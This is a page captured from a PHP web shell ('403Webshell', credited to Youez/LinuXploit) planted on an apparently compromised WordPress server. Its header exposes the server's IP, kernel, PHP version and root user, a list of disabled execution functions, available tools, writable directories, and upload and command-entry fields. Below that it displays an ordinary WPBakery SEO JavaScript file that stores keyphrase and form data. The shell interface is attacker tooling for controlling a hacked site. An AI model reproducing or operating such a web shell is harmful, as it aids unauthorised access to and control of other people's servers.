403Webshell
Server IP : 38.190.208.107  /  Your IP : 216.73.217.46
Web Server : nginx/1.28.1
System : Linux ht2026040333114 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User : root ( 0)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,eval,assert,passthru,system,exec,shell_exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/wp.3/wp-content/plugins/js_composer/modules/seo/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/wp.3/wp-content/plugins/js_composer/modules/seo/assets/js/storage.js
/* global vc, Backbone */
if ( !window.vc ) {
	window.vc = {};
}

( function ( $ ) {
	'use strict';

	// Store and manage state for
	// SEO fields data and analysis results data
	// via Backbone Model
	var SeoStorage = Backbone.Model.extend({
		defaults: {
			formData: {
				keyphrase: '',
				title: '',
				description: '',
				slug: '',
				isUsedKeyphrase: ''
			},
			formDataPrevious: {
				keyphrase: '',
				title: '',
				description: '',
				slug: '',
				isUsedKeyphrase: ''
			},
			results: []
		},
		setResults: function ( item, type, state ) {
			var currentState = this.get( state );
			if ( 'focus-keyphrase' === type || 'keyphrase' === type ) {
				type = 'keyphrase';
				if ( item && item !== this.get( state ).keyphrase ) {
					var _this = this;
					var data = {
						action: 'wpb_seo_check_key_phrase',
						key_phrase: item,
						post_id: window.vc_post_id,
						_vcnonce: window.vcAdminNonce
					};
					$.ajax({
						type: 'POST',
						url: window.ajaxurl,
						data: data
					}).done( function ( response ) {
						if ( response.success ) {
							currentState.isUsedKeyphrase = response.data;
							_this.set( state, currentState );
							_this.trigger( 'formData', 'change', currentState );
						}
					}).fail( function ( response ) {
						console.error( 'Failed to get the previously used keyphrase response: ' + response );
					});
				}
			}
			currentState[type] = item;
			this.set( state, currentState );
			if ( 'formData' === state ) {
				this.trigger( 'formData', 'change', currentState );
			}
		},
		// Custom method to add, update, or remove an item in the results array
		updateResult: function ( state, title, description ) {
			var item = {
				state: state,
				title: title,
				description: description
			};
			var currentResults = this.get( 'results' ).slice(); // Create a shallow copy
			// Find the index of the item in the array
			var indexToModify = currentResults.findIndex( function ( result ) {
				return result.title === item.title;
			});
			// If the item was found, update it in the array
			if ( -1 !== indexToModify ) {
				currentResults[indexToModify] = item;
				this.trigger( 'resultChanged', 'update', item );
			} else {
				// If the item was not found, add it to the array
				currentResults.push( item );
				this.trigger( 'resultChanged', 'add', item );
			}

			// Update the result array in the model
			this.set( 'results', currentResults );
		},
		resetResult: function ( title ) {
			var currentResults = this.get( 'results' );
			var resetResults = currentResults.filter( function ( result ) {
				return result.title !== title;
			});
			this.set( 'results', resetResults );
		}
	});

	vc.seo_storage = new SeoStorage();

})( window.jQuery );

Youez - 2016 - github.com/yon3zu
LinuXploit